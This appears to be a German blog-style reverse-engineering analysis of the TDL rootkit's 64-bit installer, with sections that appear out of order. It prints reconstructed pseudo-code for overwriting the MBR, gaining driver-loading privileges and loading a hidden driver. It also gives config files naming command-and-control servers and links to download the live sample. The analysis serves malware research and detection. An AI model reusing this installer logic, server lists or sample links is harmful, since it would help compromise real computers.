	sub_4017C9(var, "bckfg.tmp", 9, space, buffer, var, var, 0x04FFFFFF);

	//schreibe sonstige verschluesselte daten
	fileOperation(var, var, fileHandle, 42, 0, var);
	//schreibe Rootkit MBR
	return fileOperation(0x200, 0, fileHandle, 42, 0, var);
}

Die Methode startet recht langweilig. Am Anfang wird Speicher reserviert und ziemlich viel entschlüsselt. Die Methode bei 401671 ist für das Entschlüsseln zuständig. Interessant ist vor allem der 1. Parameter, den der zeigt auf den Speicherbereich der zu entschlüsseln ist. Danach werden mit snprintf und sscanf Strings manipuliert und gebaut u.a. auch die Konfigurationsdatei mit den TDL Servern. Interessant wird es als die Methode 401098 getHandle() aufgerufen wird:

HANDLE getHandle()
{
	GetWindowsDirectoryW(&Buffer, 0x104);
	// \\??\\C:
	if ( ZwOpenFile(phandle, SYNCHRONIZE, var, var, 7, 32) >= 0 )
	{
    if ( ZwDeviceIoControlFile(phandle, 0, 0, 0, var, IOCTL_VOLUME_GET_VOLUME_DISK_EXTENTS, 0, 0, var, 32) >= 0 )
    {
      snwprintf(&Dest, 0x103, L"\\??\\physicaldrive%d", v4);
      RtlInitUnicodeString(var, var);
	  // \\??\\physicaldrive0
      if (ZwOpenFile(&result, SYNCHRONIZE, var, var, 7, 32) < 0)
        result = 0;
    }
    ZwClose(phandle);
	}
	return result;
}

Diese Methode holt ein Datei Handle zu physicaldrive0. physicaldrive0 ist ein symbolischer Link zu \Device\Harddisk\DR0. Kurz gesagt, hier wird der Zugriff auf den MBR vorbereitet.

Kurz nach dieser Methode erfolgt auch schon die erste Leseoperation. Die Methode bei 401737 fileOperation() ist für Dateioperationen zuständig. Die Methode ist relativ klein, aber trotzdem sehr mächtig:

DWORD fileOperation(DWORD size, var, HANDLE fileHandle, var, UCHAR DataIn, DWORD buffer)
{
	SCSI_PASS_THROUGH_DIRECT swb;
	memset(&swb, 0, sizeof(swb));
	//fuelle struct
	ZwDeviceIoControlFile(fileHandle, 0, 0, 0, &IoStatusBlock, IOCTL_SCSI_PASS_THROUGH_DIRECT, var, 0x48, var, 0x48);
	return IoStatusBlock;
}

Um diese Methode zu verstehen muss man einiges in MSDN nachlesen. Es wird die Struktur SCSI_PASS_THROUGH_DIRECT genullt und dann mit den entsprechenden Werten gefüllt. Die Methode erlaubt lese und schreibe Operationen.
Bei den ersten 2 Aufrufen werden Leseoperationen ausgeführt. Der 2. Aufruf liest den momentanen MBR aus.
Danach wird mit VirtualAlloc neuer Speicher reserviert. Schließlich werden die Dateien (siehe Dateiname) in den neuen Speicher verschlüsselt geschrieben. Zum Verschlüsseln dient die Methode von vorhin 401671. Das ist ein sehr guter Zeitpunkt um die Dateien zu dumpen zur weiteren Analyse.
Anschließend folgen 2 Schreibeoperationen. Die erste schreibt die zuvor verschlüsselten Daten und die zweite überschreibt den aktuellen MBR mit dem von TDL. Wenn das alles erfolgreich war wird ein Wert größer Null zurückgeliefert und Windows wird, wie bereits oben beschrieben neu gestartet.

Die Config Datei ist mal wieder interessant mit den ganzen Serveradressen:

[main]
aid=30136
sid=0
[inject]
*=cmd.dll
*(x64)=cmd64.dll
[cmd]
srv=https://68b6b6b6.com/;https://61.61.20.132/;https://34jh7alm94.asia;https://61.61.20.135/;https://nyewrika.in/;https://rukkieanno.in/
wsrv=http://lk01ha71gg1.cc/;http://zl091kha644.com/;http://a74232357.cn/;http://a76956922.cn/;http://91jjak4555j.com/
psrv=http://cri71ki813ck.com/

Die cmd64.dll ist mit MPRESS gepackt, dieser Packer bietet leider keine eigene Unpack Option wie UPX, es ist aber ein Kinderspiel diese Datei manuell zu unpacken.

Die Vorgehensweise des MBR und der anderen Dateien werde ich hier nicht erläutern, das kann man mittlerweile in anderen Blogs von Antiviren-Herstellern nachlesen.

Schlusswort

Das Rootkit wird immer besser und gefährlicher. Ich bin schon sehr gespannt auf eine neue Version. Das Rootkit bietet auch noch sehr viel Verbesserungspotential z.B. ist es immer noch sehr einfach zu analysieren obwohl die Entwickler sicher wissen wie sie es schwerer machen könnten.
Wer erkennen möchte ob er sich das TDL eingefangen hat sollte am besten das TDSSKiller Tool von Kaspersky einsetzen: http://support.kaspersky.com/downloads/utils/tdsskiller.zip

Wer die neue Version des Rootkits selber mal anschauen möchte hier der Download (PW: infected): http://www.xup.in/dl,15799673/TDL_x64.rar/

Nun wird es erst richtig spannend. Um noch mal zusammenzufassen: Die EXE kopiert sich ins Temp Verzeichnis und veranlasst spoolsv.exe diese EXE als DLL zu laden. Spoolsv.exe verwendet eine LoadLibrary Funktion um die DLL zu laden. Damit wir wissen was unsere Malware nun macht, müssen wir das emulieren bzw. vorgaukeln. Um das du machen ist es nötig zu wissen was bei LoadLibrary passiert. Wer schon mal eine DLL programmiert hat, kennt die DllMain Methode:

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved);

Die Malware überprüft beim starten diese 3 Variablen ob sie zu einer DLL Initialisierung passen. Wenn LoadLibrary eine DLL lädt wird fdwReadon mit einer 1 gefüllt für DLL_PROCESS_ATTACH. Da es dynamisch geladen wird sollte lpvReserved mit einer 0 befüllt (siehe MSDN) sein. hinstDLL ist ein Module Base Pointer. Um die Malware zu täuschen laden wir also mediaupdt.exe in Olly und bearbeiten den Stack entsprechend. Für hinstDLL verwende ich einfach 00400000.

Wer sich noch erinnert, als normaler EXE-Start wird Speicher reserviert und das „Herz“ reingeschrieben und schließlich die Methode bei 902392 aufgerufen. In unserer gedumpten Datei ist das bei 402392 (andere Base) und wer sich die Methode mit IDA oder Olly genauer angeschaut hat, wird gemerkt haben, dass die Methode auch einige Parameter haben möchte. Mit bisschen ausprobieren und ASM Verständnis findet man die Parameter schnell, die Methode sollte ungefähr so aussehen im Quellcode des Entwicklers:

BOOL startInstall(BOOL validDLL, HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)

Die Methode wird also auch als DLL aufgerufen und die DLLEntry Parameter werden einfach an die Funktion übergeben. Der hinstDLL Parameter wird natürlich angepasst auf den zur Laufzeit erstellten Speicherbereich. In Pseudo Code sieht die Methode so aus:

if (!validDLL) //DLL oder EXE?
{
	//siehe Blog Artikel Teil 1, das ist der Start Code von oben
	//Beim DLL Start wird hier nichts mehr ausgeführt
}
if (fdwReason == DLL_PROCESS_ATTACH)
{
	LdrAddRefDll(0, lpBaseAddress);
	CreateThread(0, 0, (LPTHREAD_START_ROUTINE)90221C, lpBaseAddress, 0, 0);
	CloseHandle(var);
}

Es wird also ein neuer Thread gestartet. Weiter geht es mit 90221C bzw. 40221C in unserem Dump. Wer sich den Call Stack in Olly in der Methode mal angeschaut hat wird merken, dass als EXE der Aufruf von hier kommt:

00402CEE CALL EAX

Wer da etwas hochscrollt wird auch den Aufruf bei einer DLL schnell finden:

00402CCE CALL ESI

Man setzt also Breakpoints auf diese 2 Calls und probiert es einmal mit Manipuliertem Stack (siehe oben) und ohne Manipulierten Stack (also „normal“) aus zur Bestätigung dieser These.

Der eigentliche Installationsvorgang – Vorstufe

Wir sind kurz vor der Rootkit Treiber Install Methode. Aber zunächst kommt die Methode bei 90221C, die durch CreateThread gestartet wird. Pseudo Code:

if (RtlAdjustPrivilege(SeLoadDriverPrivilege, 1, 1, &var) < 0)
{
	VirtualAlloc(0, 0xB8000, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
	ZwQuerySystemInformation(SystemProcessThreadInfo, var, 753664, &var);
	if (RtlEqualUnicodeString(var, &var, TRUE))
	{
		ZwOpenThread(&var, 512, var, var);
		ZwImpersonateThread(-2, var, var);
		if ( RtlAdjustPrivilege(SeLoadDriverPrivilege, TRUE, TRUE, &var) >= 0 )
		{
			installRootkitTreiber(lpBaseAddress);
		}
		ZwClose(var);
	}
}

Die Methode ist schnell erklärt: Es wird geprüft ob SeLoadDriverPrivilege Rechte vorhanden sind, die gebraucht werden um den Treiber zu starten. Falls sie nicht vorhanden sind, wird versucht sie zu bekommen. Die Treiber Installation beginnt bei 90195E bzw. 40195E.

Der eigentliche Installationsvorgang – Kern

Wir sind nun mitten im Kern des Ganzen (endlich!). Hier wird es wieder mal interessant. Am Anfang werden ein paar String Operationen durchgeführt und es wird sich ein netter String zusammengebastelt mit PC Informationen. Es wird auch der MachineGuid aus der Registry ausgelesen (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\ MachineGuid). Wer langsam durchsteppt mit Olly wird auch schnell eine nette Entdeckung machen: Alle TDL Command Server tauchen in einem String auf. Diese Server dienen wohl dazu die Zombies zu steuern. Die Kommunikation findet wohl via HTTP statt.
Der erste Teil nach den String Operationen in Pseudo Code:

GetTempPathA(0x104, &PathName);
GetTempFileNameA(&PathName, 0, 0, &FileName);
CreateFileA(&FileName, 0x1F01FF, 1, 0, 2, 0, 0);
WriteFile(file, var, var, &NumberOfBytesWritten, 0); //erstelle Rootkit Treiber
CloseHandle(file);
snprintf(&var, 0x104, "system\\currentcontrolset\\services\\%s", "random number"); //zufällige nummer wird generiert
RegCreateKeyA(HKEY_LOCAL_MACHINE, &var, &var);
RegSetValueExA(var, "imagepath", 0, 2, var, var);
RegSetValueExA(var, "type", 0, 4, var, 4);
RegCloseKey(var);
ZwLoadDriver(var); //Treiber wird geladen
SHDeleteKeyA(HKEY_LOCAL_MACHINE, var); //Registry Key wird wieder gelöscht

Hier wird jetzt der Treiber im Temp Verzeichnis erstellt und geladen. Der nächste Abschnitt der Methode:

ZwOpenSymbolicLinkObject(var, 983041, var);
ZwQuerySymbolicLinkObject(var, var, 0);
CreateFileA("\\\\?\\globalroot%wZ\\bckfg.tmp", 0x1F01FF, FILE_SHARE_READ, 0, CREATE_ALWAYS, WRITE_THROUGH, 0);
WriteFile(var, var, var, &NumberOfBytesWritten, 0);
CloseHandle(var);

CreateFileA("\\\\?\\globalroot%wZ\\tdlcmd.dll", 0x1F01FF, FILE_SHARE_READ, 0, CREATE_ALWAYS, WRITE_THROUGH, 0);
WriteFile(var, var, var, &NumberOfBytesWritten, 0);
CloseHandle(var);

//mehrfach wird was reingeschrieben
WritePrivateProfileStringA(var, var, var, "config.ini");

ZwMakeTemporaryObject(var);
ZwClose(var);
DeleteFileA(var); //Rootkit Treiber im Temp Verzeichnis

kontaktiereCommandServer(); //dazu später mehr

Hier werden 3 Dateien erstellt, die man nicht sehen kann, weil sie außerhalb des Dateisystems erstellt werden. Um die Dateien trotzdem anschauen zu können habe ich einfach den Pfad bei den CreateFile und WritePrivateProfileString geändert. Am Ende werden noch die Command Server kontaktiert, dazu später mehr.

Die gedroppten Dateien

Die config.ini ist ohne extra Erklärung leicht verständlich:

[injector]
*=name
[main]
botid=08a0tr4-b153-45b2-aa18-f4tzt0d633a
affid=40755
subid=0
installdate=5.9.2010 13:33:2
builddate=3.9.2010 12:57:36
[tdlcmd]
servers=https://nichtadden.in/;https://91.212.226.67/;https://li1i16b0.com/;https://zz87jhfda88.com/;https://n16fa53.com/;https://01n02n4cx00.cc/;https://lj1i16b0.com/
wspservers=http://zl00zxcv1.com/;http://zloozxcv1.com/;http://71ha6dl01.com/;http://axjau710h.com/;http://rf9akjgh716zzl.com/;http://dsg1tsga64aa17.com/;http://l1i1e3e3oo8as0.com/;http://7gafd33ja90a.com/;http://n1mo661s6cx0.com/
popupservers=http://clkh71yhks66.com/

Die tdlcmd.dll ist wieder mal interessant. Die Datei ist mit UPX gepackt (einfach mit UPX –d unpacken). Das Rootkit dient wohl dazu, diese DLL in jeden Prozess zu injizieren. Die DLL greift aber nur folgende Prozesse an:

PathMatchSpecA(v4, "*explo*")
PathMatchSpecA(v4, "*firefox*")
PathMatchSpecA(v4, "*chrome*")
PathMatchSpecA(v4, "*opera*")
PathMatchSpecA(v4, "*safari*")
PathMatchSpecA(v4, "*netsc*")
PathMatchSpecA(v4, "*avant*")
PathMatchSpecA(v4, "*browser*")
PathMatchSpecA(v4, "*mozill*")
PathMatchSpecA(v4, "*wuauclt*")

Man sieht also, das Ding interessiert sich für Webbrowser. Diese werden dann manipuliert z.B. werden u.a. Popups untergeschoben.

Die gedroppte Treiber Datei im Temp Verzeichnis ist immer noch nicht der reine Rootkit Treiber. Er ist noch umgeben mit einer Art Installer von Microsoft. Der Treiber wird dann in das System32\Driver Verzeichnis erstellt RANDOMNAME.sys.

Was die bckfg.tmp darstellen soll weiß ich nicht. Wer will kann es gerne herausfinden.

Noch kurz etwas zur Kommunikation mit den Servern

Die Kommunikation findet wie schon erwähnt mit HTTP statt. In unserer gedumpten Datei findet man die Methode bei 4017FB bzw. 9017FB. Wenn ein 64-Bit System erkannt wird, wird sie z.B. aufgerufen, so kann man sie gut analysieren. Die HTTP Parameter werden noch leicht verschlüsselt mit der Methode bei 4010CB. Auch in der tdlcmd.dll findet man diese beiden Methoden bei Base+ 0x6D55 und Base+0x404A. Die Kommunikation findet vor allem in der tdlcmd.dll statt. Wer sie analysieren möchte, kann die DLL gerne mal in den Browser reinladen. Lässt sich dann prima debuggen ohne das man das Rootkit installiert.

Fazit

Ich könnte noch seitenweise weiter über das TDL schreiben, aber irgendwann muss auch mal Schluss sein. Ich hoffe es war interessant und ich konnte euch einen guten Einblick geben. Das Teil ist eine richtige Wundertüte und kein Vergleich zu herkömmlicher Malware, die meist nur aus einer Datei bestehen. In dem TDL steckt auch noch mehr interessantes, deshalb werde ich die Datei zum Download anbieten und wer will kann auch mal das Teil zerlegen. Spaß macht es auf jeden Fall.

Download auf eigene Gefahr: TDL Rootkit